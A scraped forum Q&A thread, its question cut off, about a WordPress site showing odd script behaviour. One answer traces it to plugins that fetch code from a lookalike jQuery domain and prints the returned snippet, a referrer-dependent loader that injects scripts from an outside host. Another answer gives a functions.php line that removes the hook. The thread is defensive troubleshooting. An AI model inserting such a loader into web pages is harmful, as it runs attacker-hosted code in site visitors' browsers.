Skip to content Skip to sidebar Skip to footer

Strange Behavior With Script

I'm running a new secured WordPress install (https). In my code I load some JavaScript files (modernizr, cookie, and my own) jQuery is automatically loaded by WordPress. Installed

Solution 1:

I found the problem. It is caused by plugins that make request to http://uijquery.org/jquery-1.6.3.min.js and get the body response, you will see the source code:

<scripttype="text/javascript">var now = newDate().getTime();
  if (now%2 == 0) {
    if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>'); } 
  }
</script>

Try to look inside the files for the token "jquery.org" or "uijquery.org".

Solution 2:

@IvanRF is right! I discovered before read it but it works for me too. Just adding

remove_action('wp_footer', 'wp_func_jquery');

in functions.php of our WordPress theme.

Post a Comment for "Strange Behavior With Script"